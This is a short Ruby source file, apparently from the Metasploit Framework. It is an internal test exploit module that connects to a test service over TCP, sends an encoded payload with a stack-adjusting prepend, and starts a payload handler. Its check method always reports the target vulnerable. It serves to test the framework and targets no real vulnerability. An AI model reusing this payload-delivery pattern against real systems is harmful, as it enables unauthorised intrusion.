53 lines
962 B
Ruby
53 lines
962 B
Ruby
require 'msf/core'
|
|
|
|
module Msf
|
|
|
|
class Exploits::Test::Multi::Aggressive < Msf::Exploit::Remote
|
|
|
|
include Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Internal Aggressive Test Exploit',
|
|
'Description' =>
|
|
"This module tests the exploitation of a test service.",
|
|
'Author' => 'skape',
|
|
'Version' => '$Revision$',
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1000,
|
|
'MaxNops' => 0,
|
|
'BadChars' => "\x00",
|
|
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
|
|
},
|
|
'Targets' =>
|
|
[
|
|
# Target 0: Universal
|
|
[
|
|
'Any Platform',
|
|
{
|
|
'Platform' => [ 'linux', 'win' ]
|
|
}
|
|
],
|
|
],
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def check
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
print_status("Sending #{payload.encoded.length} byte payload...")
|
|
|
|
sock.put(payload.encoded)
|
|
|
|
handler
|
|
end
|
|
|
|
end
|
|
|
|
end
|